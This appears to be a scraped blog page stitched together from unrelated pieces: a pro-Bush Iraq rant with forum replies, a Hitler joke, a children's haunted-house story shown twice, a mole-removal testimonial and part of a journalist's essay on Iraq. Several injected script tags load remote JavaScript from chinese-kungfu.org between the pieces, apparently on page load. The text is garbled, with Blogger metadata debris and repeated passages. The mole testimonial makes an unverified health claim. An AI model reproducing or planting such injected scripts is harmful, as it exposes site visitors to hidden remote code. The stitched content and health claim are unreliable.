A little about me….. I am about 4 generations deep in servicemen. Me, my dad, grandfather, great, and who knows from there. I have my wartime service ribbon from Desert Storm in 1991, where I served in the United States Army. I am very proud to have served for my country, and I am very patriotic. With that said, the continuous wave of crap that I hear on a daily basis has just gotten under my skin. Maybe the anniversary of 9-11 less than 24 hours away has something to do with it. Lets start with President Bush. I think in light of the challenges he has been faced with he has done a good job. When people say we have been at war for no reason, it just brings light to the point…. most people who do not support our president have NO clue what they are talking about. Here is a project for you, do a search of gas prices in the rest of the world and let me know what you come up with..... I am sure you will be happy to pay your $2.50 a gallon once you know what you are talkin about. “Bring the troops home. They are over there dying for no reason” This really pisses me off. Have you ever thought the troops WANT TO BE THERE! AND THEY ARE DAMN PROUD OF THE JOB THEY ARE DOING???? And to hear some people say bring them home, and dying for no reason is a huge smack in the face. Weapons of mass destruction HAVE been found on 2 separate dates, for one. Iraq is a hub for terrorist groups including Al Qieda. Also the Iraqi people deserve the same freedoms we enjoy. It is all fun and games until your loved one gets killed in the next terrorist attack on American soil. I bet you will be the first one to squeal….. how could you have let this happen Mr. President.!!!! And I will tell you how he got 2 terms as president, uneducated people like you are sittin naked on their beanbag eating cheetos on election day....THANK GOD! If the Stars and Stripes offend you, or you don't like Uncle Sam, then you should seriously consider a move to another part of this planet. (like hell?) We are happy with our country and have no desire to change, and we really don't care what you think of Iraq, President Bush, Osama, my Momma, or whatever. This is OUR COUNTRY, our land, and our lifestyle Our First Amendment gives every citizen the right to express his opinion and we will allow you every opportunity to do so! But once you are done complaining........ whining...... and griping....... about our flag....... our pledge...... our national motto........or our way of life....I highly encourage you to take advantage of one other Great American Freedom.......THE RIGHT TO LEAVE. Can I get a Hell Yea!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Why are people so ignorant about Bush and Iraq ?<br>Very good. I find now a days that people want only what is easy. plus they let their t.v. do all their thinking for them. IF the govt. is doing everything wrong, then way haven't there been anymore attacks on our land? People in this country are so easy to forget and so easy to complain. I hope we don't just cut and run, what good will that have done for all the brave solders that have died? WE are unfortunately our own worst enemies<br>Reply:Wow you wrote a lot!<br>Reply:Hell YEAH! You ROCK! You're going to get some flack for this...but not from me. Thank you for your service, you said everything I've been thinking. Thank you.<br>Reply:http://www.kissmyassgeorge.com<br><br /><br />http://www.itmfa.com<br>Reply:Because they do not take the time to understand, they let the media think for them!<br>Reply:Oh Hell Yea!!!! <br><br /><br /><br><br /><br />USAF Veteran<br>Reply:I was going to answer your question...but your rant answered it for me.<br><br /><br /><br><br /><br />Thanks!<br>Reply:So people who have a different opinion to you are ignorant? That's a rather ignorant remark really, let's all revel in the irony.<br>Reply:HELL YEA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!... thankyou for your valiant service..i served in the nam...if i was young enough i would serve this great nation again....i wish all Americans felt as you do...but sadly...they do not.<br>Reply:Good rant. I don't agree with most of it because of all the fallacies, but whatever.<br><br /><br /><br><br /><br />I would have much preferred if you broke it up into paragraphs so it wouldn't be such a headache to read.<br>Reply:Thanks for everything you've done for the country! I have a friend who's sister is over there and she says it really bothers her that they are doing so much good, like building schools, and all the media ever shows is the bad stuff. I agree with you totally. You aren't going to make any headway with these people, though. They really on things like "Loose Change" and Michael Moore for information.<br>Reply:I stopped reading as soon as you said you thought Bush was doing a good job...<br><br /><br /><br><br /><br />Btw, I am ex-military also and a vet of Desert Storm.<br>Reply:Hell yea and as a former Marine you are 100% right!!!!<br><br /><br /><br><br /><br />Keep preaching it brother and God Bless America!!!!!!<br>Reply:my dear patriotic friend, I took your advice about 20 years ago, I left<br>Reply:OK look, you're perfectly entitled to your opinion just like everyone else is, but you should be a little more open to other people's suggestions instead of screaming at them.<br><br /><br /><br><br /><br />You point out that our lower gas prices are a good justification for war. First off, other countries gas prices are high because their government deliberately tax them so that they can make the move to better fuel sources. And are you saying the killing innocent human life is justifiable by lower prices at the pump?<br><br /><br /><br><br /><br />Over 100,000 Iraqis have died so far. And these are innocent people like you and me who just had the misfortune of being born in a country that the US didn't like.<br><br /><br /><br><br /><br />And as for terrorism, there were NO Iraqis involved in the 9/11 plots. But the vast majority of the terrorists were Saudis. But why didn't we invade Saudi Arabia? Because they are our number 1 supplier in oil, never mind the fact that their human rights violations were consistently ranked higher than Iraq's.<br><br /><br /><br><br /><br />It pays to keep an open mind.<br>Reply:Hell ya! and thank you.<br>Reply:From A Viet Nam Vet.. HellYea!!! You said it all my friend!<br>Reply:First up, if weapons of mass destruction have been found, why was it not reported in the news? Don't blame the 'liberal media' for this- it's a big enough story that the media around the world would report it. Instead we still hear how no such weapons have ever been found- Maybe you can provide us with links to such a big story?<br><br /><br /><br><br /><br />I agree that removing Saddam from power was the right thing to do but it's because of the mishandling of post-war Iraq that Iraq has become a hot-bed of terrorism. It's no co-incidence that British-held areas such as Basara have been relatively quiet compared to Baghdad. It's recently been proven that Saddam had no links to Al-Queda, as he didn't trust bin Laden- Bush's case for war has been compromised.<br>Reply:yes, when more people realize that not going into IRAQ %26amp; AFGAN guarantees more problems down the road..<br><br /><br />(INCLUDING NUCLEAR, though not necessarily IRAQ), maybe they will open their eyes and relize why its wrong to call our soldiers 'Stormtroopers' %26amp; the president 'hitler' or hitler-like.<br><br /><br /><br><br /><br />Either 'calling' is wrong people.<br><br /><br />Those of you using the hitler comparisons need to move out, u have already proven yourself to be not only anti-american but definately prefering nuclear or 'end of rights' end to USA.<br>Reply:TOOOOOOOO long to read. But I saw this "It's our country" thing. Dude, this is an international site, not only for Americans, so speak generally.<br>Reply:i dont think they are,bush started that war,for oil.why are you taking up for him,that jackass doesnt give a rats *** for the service people,that have been killed over there or their families.<br>Reply:You do realize that Saddam had NO TIES TO AL QAEDA!? The invasion of Iraq had legal basis. But not for WMDs. And speaking of which, you do realize that the White House came out and said that the WMDs found so far were either already accounted for or not what we went in for. <br><br /><br /><br><br /><br />I just got back from the middle east were we supported the troops on the ground. Nearly all of us that got to see the big picture realize that Iraq was draining resources and money from Afghanistan. <br><br /><br /><br><br /><br />I know of several persons who worked on the 9/11 investigation and who walked away when their conclusions were changed. My friend walked out after 15 years in the intel community. A Captain I worked for turned in his resignation rather than accept the promotion to Rear Admiral Lower Half. <br><br /><br /><br><br /><br />The only ones who should leave our the ones that blindly follow our government.<br>Reply:The President was briefed by those in the intelligence communities that Iraq DID NOT (emphasis only) have WMD's, but the administration censored those reports and presented the revised editions to congress to go to war. These were clear indications of preconceived notions to go to war. <br><br /><br /><br><br /><br />Google The New American Century and see for yourself. The very underpinnings of the war in Iraq can be viewed there. Also the political implication(s) are for the next century,per se, include but not limited to, the next 12 administrations following the same course. Yikes!<br><br /><br /><br><br /><br />The Bush Administration(s) and its predecessors have begun steps towards global domination and have laid out a plan on how to accomplish that goal. We are shifting from a democratic state to one of imperialism/colonialism. It is usually given a new slant, ‘we are giving them free markets and enterprise.’ Translation: ‘We want our businesses to get rich in your country’.<br><br /><br /><br><br /><br />Furthermore, our country went to war with Iraq expecting then to have WMD. We didn't find any. Then the administration changed their reason for war. Most recently, a recent committee did not find ANY Al-Qaeda to Saddam Hussein links. WE BOMBED THE WRONG COUNTRY! This has set a precedent regarding the proliferation of nuclear weapons/uranium enrichment. Other countries are saying, "The US will attack if we have WMD's or not, better we have them."<br><br /><br /><br><br /><br />Iran will not back down with its program. Why should they? We've invaded their neighbor. China is watching with great interest and Pakistan, Syria, North Korea, and other countries will increase their efforts in their nuclear programs.<br><br /><br /><br><br /><br />The potential for world war is increasing due to our war machine, its supportive military industrial complex, and the imperialistic/colonialism behaviors of our administration(s).<br>Reply:I'm ex-military and I support our troops 100%. I am against the war in Iraq and have been from day one. But that is my right as an American citizen. I am also against people who say that the troops are "dying for no reason". The military is doing it's job, plain %26amp; simple. If they die while doing that duty it is ALWAYS an honorable thing. People can support the troops and at the same time not support why they are there. That's what being American is all about.<br>Reply:I completely agree with you I think people should support our troops and president even if they don't agree with his actions.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>SUEhttp://www.blogger.com/profile/14265735889228765787noreply@blogger.com0tag:blogger.com,1999:blog-8764312873180214149.post-22286033689212379302010-04-24T05:09:00.001-07:002010-04-24T05:09:28.698-07:00What is your favourite Roald Dahl story?Take your pick, kids' or adults', whatever!<br><br /><br /><br><br /><br />For the record, I'm a big fan of Royal Jelly (not one to read while pregnant or breastfeeding), Skin and William and Mary.

It's a meeting with a Mr Satan that's scheduled for you" "No" says Adolph "I absolutely refuse to go down there, it plays havoc with my gingery skin colouring, and if you let me in I will give you the highest token of my esteem, this being the cherished iron cross" St Peter was mortified and called over to jesus, "Jesus, come here" said St Peter, "It's Adolph Hitler at the gates and he says if we let him in he'll give us this lovely shiney iron cross" Jesus takes the medal from St Peter and calls out to God, "Dad" and repeats the same story, to which God replies, "Son you had a wooden one and you couldnt carry that, what d'ya want an iron one for?"<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Oh dear, before I start I would just like to say it's a joke and personally I love J.C he rocks,?<br>Yeah, why he require an iron one..

They had offered to clean up the neighbor-<br><br /><br />hood, but their mothers had refused, seeing the hot weath-<br><br /><br />er was rather....well, hot. Considering anything besides going outside, their list was rather short. “ What can we do?” cried Kelly. “ Could we IM Jane, Matt , Sandy, and <br><br /><br />Lina at the same time? That would be fun.” suggested A-<br><br /><br />nne. “Okay ” said Kelly, getting up. “ No need.” said a <br><br /><br />voice behind them. They turned around, to find Sandy,<br><br /><br />Jane, Matt, and Lina waiting for them. Kelly groaned loudly–––-she really wanted to IM them, not meet them.<br><br /><br />“ Hey. What’s up?” asked Sandy, a tall, broad shouldered,<br><br /><br />blond haired guy, who was the founder of six kids<br><br /><br />so-called “group”. They never even met during the school year. Now, seeing it was summer, they met each other frequently, every other day. “Nothing. You?” replied Anne. “We were goin’ to that woods behind Rain Orchids.” said Lina. “They–—” she pointed to the guys--- “ claim there is a haunted house. Smack in the middle of the woods. A haunted house. In the woods ”she said, exclaiming it loudly. “ Yeah, right, we believe you, you’re down right we do,” said Kelly, though she looked like she was interested. “ Hmmm... there was something, uh, never mind.” said Jane, who was really thoughtful and curious about things like that. “ No, go on We wanna listen, don’t we?”said Kelly quickly. There were murmurs and nods of agreement. “Well, if you want to know, there was a house <br><br /><br />owned by a business tycoon in the woods behind Rain Orchids, a man. He was a millionaire, and people would<br><br /><br />die to meet him. He was really generous; he practically<br><br /><br />owned Rain Orchids, he did donate a lot of money, and about anyone he met that seemed poor, he would give billions of dollars away to them,” Jane filled them in. “Wow.He sounds amazing But why would he live in the woods?A great man like him?” asked Anne. “I bet for secrecy,”said Matt. He also was a broad shouldered, tall guy, but with brown colored hair and green eyes, unlike Sandy, who had blue eyes. “Yeah, I guess. He wouldn’t want to be interviewed by The Journal everyday, now would he?” said Lina. She was a beautiful girl with sleek, shiny brown hair up to her waist. She also had blue eyes <br><br /><br />and a fair skin complexion. “ Well, that makes sense, but, two things: What was his name, and was The Journal even established than?” asked Kelly, Lina’s twin; naturally,<br><br /><br />she looked just like Lina, only with blond hair and glasses.<br><br /><br />“Well, I think his name was Wayne Lenmore, and yes, The Journal was established then. Oh yeah, it was a long time ago, ‘bout the 1970s.” finished Jane, who was a tall, blue eyed girl with brown curly hair. “Then....um, lets GO Come on ” exclaimed Kelly, who was eager to find out about this “haunted house”. Everyone knew what she was<br><br /><br />talking about, so they all hurried to Rain Orchids. Once there, they all asked Ms. Percidal about a man known to <br><br /><br />live in the woods. Ms. Percidal was a thin, tall woman <br><br /><br />with brown hair usually tied up in a ponytail. She babbled:<br><br /><br />“Yes, there was a man, once, a long time ago, who was very generous indeed. He helped this old apple orchid a lot; I did him a bit of a favor: he wanted those woods, and I sold them to him. Never seen him after that, though, you’d think he would come back tovisit ” said Ms. Percidal. “But was his name Wayne Lenmore?” asked Anne. “ I believe so,” said Ms. Percidal.“Were those woods yours?” asked Sandy. He wore an eager expression like the rest. “Yes. They were mine, sold to me by an young man, around the age of 20. He looked quite happy to get rid of the land.” replied Ms. Percidal.“Did Mr. Lenmore have a house in the woods?” asked Matt. “ Not that I know of,” asked Ms. Percidal. After thanking Ms. Percidal, the group went to go in the woods.“Well I think the house is haunted, don’t care what you five think.” said Lina, the minute they got out of the orchid. “Well, I sure don’t. It’s all a bunch of nonsense, if you ask me,” said Sandy. “Well, no one is asking you, so you can keep your thoughts to your self,” snapped Lina.<br><br /><br />“Ooooh, look, there’s a house Over there See it?” said Jane. “Where?” were the answers to Jane’s question. They <br><br /><br />all ran to the area Jane indicated. “See? Told you Bet it’s <br><br /><br />Wayne Lenmore’s...spooky,” she said, after glancing at it. It was at least seven stories high, with windows that were <br><br /><br />broken and cracked and had shutters that were brown and the paint was peeling off. The overall house was a brown,<br><br /><br />tinge and was rather black, but the paint, like the shutters, was peeling. The little grass around the house was brown and murky, making it look like a real haunted house. “Well...should we go in?” asked Matt. “Maybe.....or not.” <br><br /><br />said Kelly. “Come on We’ll take a look, come out. We’ll<br><br /><br />knock first,” he added, after seeing the expression on Jane’s face, who was frowning slightly. “Okay...” she agreed, looking weary. They all approached the house, and Matt knocked. RAP. RAP. RAP. He knocked. There was a slight sound, from the depths of the woods, and all was sil-<br><br /><br />ent. “Well, looks like Wayne isn’t home. Lets go in,” said Sandy. “Uh, I don’t think–––“ started Kelly. “Lets go,” said Matt in a firm voice. They entered, and the inside of the <br><br /><br />house was ruined; the house had white walls, but with pe-<br><br /><br />eling paint. The chairs and couches were green and fancy looking, but with moth-eaten fabric covered over the rotti-<br><br /><br />ing wood shaped for the couch. There were stairs, but they<br><br /><br />were black and looked like they were once burned. The house felt rather cold and misty; the only light came from the blazing sun outside. “This is...well, kind of––-” “Creepy, yeah,” finished Kelly for Lina. TAP. TAP. TAP. “What– what was that?” asked a nervous Anne. “It came from upstairs ” yelled Jane. “Shh I’m trying to listen ” said Matt, but the sound grew louder, and louder, until it sounded like it was right next to them. “Lets GO Ahhhh Help Someone Help ” the girls screamed. “QUIET SHH yelled Sandy. “RUN NOW ” They all ran and ran until they were out of the woods. Panting, Sandy spoke to the frightened girls. “That was something...something...a animal,” he finished lamely. “An animal,” repeated Lina, fuming at him. “We could have––” started Lina. “—died ” screamed Kelly. “No,” said Jane. “We could have found out who is the ghost of Lenmore Mansion Or what is the ghost. Whatever.” Jane corrected Kelly. She turned to Anne, “Um, why did you scream, ‘Run now’ ? That was totally little kid’s stuff to do.” Anne just looked puzzled.<br><br /><br />“ I didn’t scream anything,” There was a pause. “Then who did?” asked Jane. There were shrugs and frowns of the question. “Well, I think we should never go back to that creepy place.” said Kelly. “Weren’t you so keen to go <br><br /><br />there in the first place, Kells?” asked Sandy. Kelly blushed, <br><br /><br />and muttered, “Uh, well,----no----I mean, well–---- um, ma-<br><br /><br />be, sort–yeah,” she said, trying to hide her face. “Anyway,”<br><br /><br />said Matt, “ We should try finding out about Wayne. Does anyone have suggestions?” he asked. “ We could find old <br><br /><br />issues of The Journal , and see if there is anything about him<br><br /><br />in there,” suggested Lina. “Yeah That’s a great idea ” they all exclaimed.”But lets meet here tomorrow, ‘cause I gotta <br><br /><br />leave for a reception party tonight.” said Jane. “Me too,” <br><br /><br />said Lina. “ Not tomarrow,no.”said Sandy. “I’m goin’ to <br><br /><br />Georgia for a week.” “And I’m leaving for Virginia for a week.” said Anne. “Back here, in week, guys? We’ll see each other in a week. And find as much you can about this Wayne Lenmore, okay?” said Matt. <br><br /><br />It was a long week for everyone. Lina and Jane were looking marvelous at the reception party that night, wearing identical dresses of a turquoise-green color, ankle–length with shawl that was not out-of-place, but made them look “fantabulous.” Sandy and Anne stayed at luxurious hotels in Virginia and Georgia, eating fine feasts<br><br /><br />and taking long dips in the pools there. Also,they all frequently instant messaged each other, to ensure about what they had found out about the mysterious house....<br><br /><br /><br><br /><br />Kellz356: U guyz there?<br><br /><br /><br><br /><br />AlwayzAnn : Im here, don’t know about nobody else.<br><br /><br /><br><br /><br />Kellz356: Matt?<br><br /><br /><br><br /><br />Matt-Dude: yep, matt here.<br><br /><br /><br><br /><br />AlwayzAnn: Did any of u guyz find out about <br><br /><br /><br><br /><br />AlwayzAnn: Wayne Lenmore?<br><br /><br /><br><br /><br />Lina-iz-cool has just signed on.<br><br /><br /><br><br /><br />Lina-iz-cool: hey.

As she told them on instant messenger, she had found out that he was in the 45th issue of The Journal. Seeing as it was published only very recently in his time, he was quick to be <br><br /><br />published in it. Wayne Lenmore had been quite an interesting person, as Anne had put it. <br><br /><br />“No, he was only 26 when he inherited his mother’s<br><br /><br />fortune,” said Anne, busy online finding out more about Wayne Lenmore. “You’ve been on for an hour researching him? You said you were on an assignment for history ” yelled Kelly. “Now <br><br /><br />let me on ” she yelled. “Come on Kelly, it’s not an hour, and he has-he had, I mean,an amazing life Please, just–––just ten <br><br /><br />more minutes ” pleaded Anne. “‘Had?’ ‘Had?’ What do you mean, ‘had’?” Matt asked Anne. “He...he...he died three years ago.” Anne stuttered. “He did? How?” asked Kelly.<br><br /><br />“A mystery. No one knows why, how, when––-just the fact that three years ago.” replied Anne. “Wow...” said Sandy, from the bed.He was evidently pretending to be asleep. “Does it say where he was last spotted?” asked Jane, curious and silent, sitting on the floor. “It says in Willford,Connec––– ” she started to say, but Lina broke her off. “Thats here, right here He was last spotted in Willford, Connecticut That here He was spotted right HERE She yelled loudly so that Bane, the group’s dog, barked and turned over on its stomach. “Yes, right here,” said Anne, calmly with a smile.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Is my story ok? please tell me! i want to know!?<br>I think it has a lot of issues.

Kelly blushed, <br><br /><br />and muttered, “Uh, well,----no----I mean, well–---- um, ma-<br><br /><br />be, sort–yeah,” she said, trying to hide her face. “Anyway,”<br><br /><br />said Matt, “ We should try finding out about Wayne. Does anyone have suggestions?” he asked. “ We could find old <br><br /><br />issues of The Journal , and see if there is anything about him<br><br /><br />in there,” suggested Lina. “Yeah That’s a great idea ” they all exclaimed.”But lets meet here tomorrow, ‘cause I gotta <br><br /><br />leave for a reception party tonight.” said Jane. “Me too,” <br><br /><br />said Lina. “ Not tomarrow,no.”said Sandy. “I’m goin’ to <br><br /><br />Georgia for a week.” “And I’m leaving for Virginia for a week.” said Anne. “Back here, in week, guys? We’ll see each other in a week. And find as much you can about this Wayne Lenmore, okay?” said Matt. <br><br /><br /> It was a long week for everyone. Lina and Jane were looking marvelous at the reception party that night, wearing identical dresses of a turquoise-green color, ankle–length with shawl that was not out-of-place, but made them look “fantabulous.” Sandy and Anne stayed at luxurious hotels in Virginia and Georgia, eating fine feasts<br><br /><br />and taking long dips in the pools there. Also,they all frequently instant messaged each other, to ensure about what they had found out about the mysterious house....<br><br /><br /><br><br /><br />Kellz356: U guyz there?<br><br /><br /><br><br /><br />AlwayzAnn : Im here, don’t know about nobody else.<br><br /><br /><br><br /><br />Kellz356: Matt?<br><br /><br /><br><br /><br />Matt-Dude: yep, matt here.<br><br /><br /><br><br /><br />AlwayzAnn: Did any of u guyz find out about <br><br /><br /><br><br /><br />AlwayzAnn: Wayne Lenmore?<br><br /><br /> <br><br /><br /> Lina-iz-cool has just signed on.<br><br /><br /><br><br /><br />Lina-iz-cool: hey.

As she told them on instant messenger, she had found out that he was in the 45th issue of The Journal. Seeing as it was published only very recently in his time, he was quick to be <br><br /><br />published in it. Wayne Lenmore had been quite an interesting person, as Anne had put it. <br><br /><br /> “No, he was only 26 when he inherited his mother’s<br><br /><br />fortune,” said Anne, busy online finding out more about Wayne Lenmore. “You’ve been on for an hour researching him? You said you were on an assignment for history ” yelled Kelly. “Now <br><br /><br />let me on ” she yelled. “Come on Kelly, it’s not an hour, and he has-he had, I mean,an amazing life Please, just–––just ten <br><br /><br />more minutes ” pleaded Anne. “‘Had?’ ‘Had?’ What do you mean, ‘had’?” Matt asked Anne. “He...he...he died three years ago.” Anne stuttered. “He did? How?” asked Kelly.<br><br /><br />“A mystery. No one knows why, how, when––-just the fact that three years ago.” replied Anne. “Wow...” said Sandy, from the bed.He was evidently pretending to be asleep. “Does it say where he was last spotted?” asked Jane, curious and silent, sitting on the floor. “It says in Willford,Connec––– ” she started to say, but Lina broke her off. “Thats here, right here He was last spotted in Willford, Connecticut That here He was spotted right HERE She yelled loudly so that Bane, the group’s dog, barked and turned over on its stomach. “Yes, right here,” said Anne, calmly with a smile.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Please tell me if my story is good,PLEASE, its couple of chapters?<br>I'm not going to read it.

Si<br><br /><br /><br><br /><br />I just wanted to report back, because I decided to give it a go. I now have no moles. It was fantastic. The moles disappeared almost instantly. They went very flat and very black then it kind of scabbed over. When the scabs first fell off my skin was a little pink but it is now blending in. Day by day it is looking more and more invisible.

Statistically Speaking <br><br /><br /><br><br /><br />Having spent a fair amount of time in occupied Iraq, I now find living in the United States nothing short of a schizophrenic experience. Life in Iraq was traumatizing. It was impossible to be there and not be affected by apocalyptic levels of violence and suffering, unimaginable in this country. <br><br /><br /><br><br /><br />But here's the weird thing: One long, comfortable plane ride later and you're in Disneyland, or so it feels on returning to the United States. Sometimes it seems as if I'm in a bubble here that's only moments away from popping. I find myself perpetually amazed at the heights of consumerism and the vigorous pursuit of creature comforts that are the essence of everyday life in this country – and once defined my own life as well. <br><br /><br /><br><br /><br />Here, for most Americans, you can choose to ignore what our government is doing in Iraq. It's as simple as choosing to go to a website other than this one. <br><br /><br /><br><br /><br />The longer the occupation of Iraq continues, the more conscious I grow of the disparity, the utter disjuncture, between our two worlds. <br><br /><br /><br><br /><br />In January 2004, I traveled through villages and cities south of Baghdad investigating the Bechtel Corporation's performance in fulfilling contractual obligations to restore the water supply in the region. In one village outside of Najaf, I looked on in disbelief as women and children collected water from the bottom of a dirt hole. I was told that, during the daily two-hour period when the power supply was on, a broken pipe at the bottom of the hole brought in "water." This was, in fact, the primary water source for the whole village. Eight village children, I learned, had died trying to cross a nearby highway to obtain potable water from a local factory. <br><br /><br /><br><br /><br />In Iraq things have grown exponentially worse since then. Recently, the World Health Organization announced that 70% of Iraqis do not have access to clean water and 80% "lack effective sanitation." <br><br /><br /><br><br /><br />In the United States I step away from my desk, walk into the kitchen, turn on the tap, and watch as clear, cool water fills my glass. I drink it without once thinking about whether it contains a waterborne disease or will cause kidney stones, diarrhea, cholera, or nausea. But there's no way I can stop myself from thinking about what was – and probably still is – in that literal water hole near Najaf. <br><br /><br /><br><br /><br />I open my pantry and then my refrigerator to make my lunch. I have enough food to last a family several days, and then I remember that there is a 21% rate of chronic malnutrition among children in Iraq, and that, according to UNICEF, about one in 10 Iraqi children under five years of age is underweight. <br><br /><br /><br><br /><br />I have a checking account with money in it; 54% of Iraqis now live on less than $1 a day. <br><br /><br /><br><br /><br />I can travel safely on my bicycle whenever I choose – to the grocery store or a nearby city center. Many Iraqis can travel nowhere without fear of harm. Iraq now ranks as the planet's second most unstable country, according to the 2007 Failed States Index. <br><br /><br /><br><br /><br />These are now my two worlds, my two simultaneous realities. They inhabit the same space inside my head in desperately uncomfortable fashion. Sometimes, I almost settle back into this bubble world of ours, but then another email arrives – either directly from friends and contacts in Iraq or forwarded by friends who have spent time in Iraq – and I remember that I'm an incurably schizophrenic journalist living on some kind of borrowed time in both America and Iraq all at once. <br><br /><br /><br><br /><br />2. Emailing <br><br /><br /><br><br /><br />Here is a fairly typical example of the sorts of anguished letters that suddenly appear in my in-box. (With the exception of the odd comma, I've left the examples that follow just as they arrived. They reflect the stressful conditions under which they were written.) This one was sent to my friend Gerri Haynes from an Iraqi friend of hers: <br><br /><br /><br><br /><br /><br><br /><br />Dear Gerri: <br><br /><br /><br><br /><br />No words can describe the real terror of what's happening and being committed against the population in Baghdad and other cities: the poor people with no money to leave the country, the disabled old men and women, the wives and children of tens of thousands of detainees who can't leave when their dad is getting tortured in the Democratic Prisons, senior years students who have been caught in a situation that forces them to take their finals to finish their degrees, parents of missing young men who got out and never came back, waiting patiently for someone to knock the door and say, "I am back." There are thousands and thousands of sad stories that need to be told but nobody is there to listen. <br><br /><br /><br><br /><br />I called my cousin in the al-Adhamiya neighborhood of Baghdad to check if they are still alive. She is in her sixties and her husband is about seventy. She burst into tears, begging me to pray to God to take their lives away soon so they don't have to go through all this agony. She told me that, with no electricity, it is impossible to go to sleep when it is 40 degrees Celsius unless they get really tired after midnight. Her husband leaves the doors open because they are afraid that the American and Iraqi troops will bomb the doors if they don't respond from first door knock during searching raids. Leaving the doors open is another terror story after the attack of the troops' vicious dogs on a ten-month old baby, tearing him apart and eating him in the same neighborhood just a few days ago. The troops let the dogs attack civilians. The dogs bite them and terrify the kids with their angry red eyes in the middle of the night. So, as you can see my dear Gerri, we don't have only one Abu Ghraib with torturing dogs, we have thousands of Abu Ghraibs all over Baghdad and other Iraqi cities. <br><br /><br /><br><br /><br />I was speechless. I couldn't say anything to comfort her. I felt ashamed to be alive and well. I thought I should be with them, supporting them, and give them some strength even if it costs me my life. I begged her to leave Baghdad. She told me that she can't because of her pregnant daughter and her grandkids. They are all with them in the house without their dad. I am hearing the same story and worse every single day. We keep asking ourselves what did we do to the Americans to deserve all this cruelness, killing, and brutishness? How can the troops do this to poor, hopeless civilians? And why? <br><br /><br /><br><br /><br />Can anybody answer my cousin why she and her poor family are going through this?? Can you Gerri? Because I sure can't. <br><br /><br /><br><br /><br /><br><br /><br />In recent weeks I had been attempting to get in touch with one of my friends, a journalist in Baghdad. I'll call him Aziz for his safety. Beginning to worry when I didn't receive his usual prompt response, I sent him a second email and this is what finally came back: <br><br /><br /><br><br /><br /><br><br /><br />Dear old friend Dahr, <br><br /><br /><br><br /><br />I am so sorry for my late reply. It is because my area of Baghdad was closed for six days and also because I lost my cousin. He was killed by a militia. They tortured and mutilated his body. I will try to send you his picture later. <br><br /><br /><br><br /><br />Just remember me, friend, because I feel so tired these days and I live with this mess now. <br><br /><br /><br><br /><br />With all my respect, <br><br /><br /><br><br /><br />Aziz <br><br /><br /><br><br /><br /><br><br /><br />Conveying my sadness, I asked him if there was anything I could possibly do to ease his suffering. As a reporter in that besieged country, he is constantly exhausted and overworked. I hesitantly suggested that perhaps he should take a little time to rest. He promptly replied: <br><br /><br /><br><br /><br /><br><br /><br />Dahr, my old friend, <br><br /><br /><br><br /><br />I really appreciate your condolence message. Your words affected me very much and I feel that all my friends are around me in this hard time. I live with this mess and I do need some rest time as you advise before getting back to work again. BUT, really, I have to continue working because there are just very few journalists in Iraq now, and especially in my area. I have to cover more and more everyday. <br><br /><br /><br><br /><br />Anyway friend, everything will be ok for me. And I wish we can make some change in our world towards peace. <br><br /><br /><br><br /><br />With my respect to you friend, Aziz <br><br /><br /><br><br /><br /><br><br /><br />I have also been corresponding with "H," who lives in the volatile Diyala province and has been a dear friend since my first trip to Iraq. He would visit me in Baghdad, bringing with him delicious home-cooked meals from his wife, insisting always that I be the one to eat the first morsel. <br><br /><br /><br><br /><br />A deeply religious man, his unfailing greeting, accompanied by a big hug, would always be: "You are my brother." <br><br /><br /><br><br /><br />He was concerned about the perception that there were vast differences between Islam and Christianity. "Islam and Christianity are not so different," he would say, "In fact they have many more similarities than differences." He would often discuss this with U.S. soldiers in his city. <br><br /><br /><br><br /><br />Yet he was no admirer of imperialism. Last summer in Syria, he and I visited the sprawling Roman ruins of Palmyra. One evening, as we stood together overlooking the vast landscape of crumbling columns and sun-bleached walls in the setting sun, he turned to me and said, "Mr. Dahr, please do not be offended by what I want to say, but it makes me happy to see these ruins and remember that empires always fall because empires are never good for most people." <br><br /><br /><br><br /><br />After several weeks when I received no reply to repeated emails, I wrote to "M," a mutual friend, and received the following response: <br><br /><br /><br><br /><br /><br><br /><br />Habibi [My dear friend], <br><br /><br /><br><br /><br />It has been very long since I have written to you. I'm sorry. I was terribly busy. I have some very bad news. [H] was kidnapped by the members of al-Qaeda in Diyala 25 days ago and there is no news about him up to this moment. It's a horrible situation. One cannot feel safe in this country. <br><br /><br /><br><br /><br /><br><br /><br />When I pressed him for more information, he wrote me the details: <br><br /><br /><br><br /><br /><br><br /><br />[H] was kidnapped as he was trying to get home. He was coming to Baquba to visit his parents, as he does every day. His oldest daughter who was with him told him that a car carrying several men was following them from the beginning of the street leading to his parents' home. So, when he stopped to get his car in the garage, they got out of their car covering their faces and asked him to come with them for questioning. People in Diyala definitely know that such a thing means either killing or arresting for few days. You may ask why I'm sure it is al-Qaeda. That is because no other group, including the U.S. military, dominates the whole city like they do. <br><br /><br /><br><br /><br />We are the people of the city and we know the truth. They overwhelmingly dominate the streets and are even stronger than the government. So, there is no doubt about whether this was al-Qaeda or another group. You may ask how people stay away from these very bad people. People never go in places like the central market of Baquba. For this reason, all, and I mean all, the shops are closed; some people have left Diyala, some have been killed, while most are kept in their homes. <br><br /><br /><br><br /><br />If someone wants to go the market, this means a bad adventure. He may be at last found in the morgue. Al-Qaeda fought every group that are called resistance who work against coalition [U.S.] forces or the government (policemen or Iraqi National Guards). Nowadays, there is fighting between al-Qaeda and other [Iraqi resistance] groups like Qataib who are known here as the honest resistance in the streets. By the way, I forgot, when al-Qaeda kidnaps someone, they also take his car in order that the car shall be used by them. So, they took his car, along with him. In case he is released, he comes without his car. I will tell you more later on. <br><br /><br /><br><br /><br /><br><br /><br />I soon slipped into the frantic routine all too familiar by now to countless Iraqis – scanning the horrible reports of daily violence in Iraq looking for the faintest clue to the whereabouts of my missing friend <br><br /><br /><br><br /><br />3. Murderously Speaking <br><br /><br /><br><br /><br />In McClatchy News' July 5th roundup of daily violence for Diyala, I read: <br><br /><br /><br><br /><br /><br><br /><br />"A source in the morgue of Baquba general hospital said that the morgue received today a head of a civilian that was thrown near the iron bridge in Baquba Al Jadida neighborhood today morning. <br><br /><br /><br><br /><br />A medical source in Al Miqdadiyah town northeast [of] Baquba 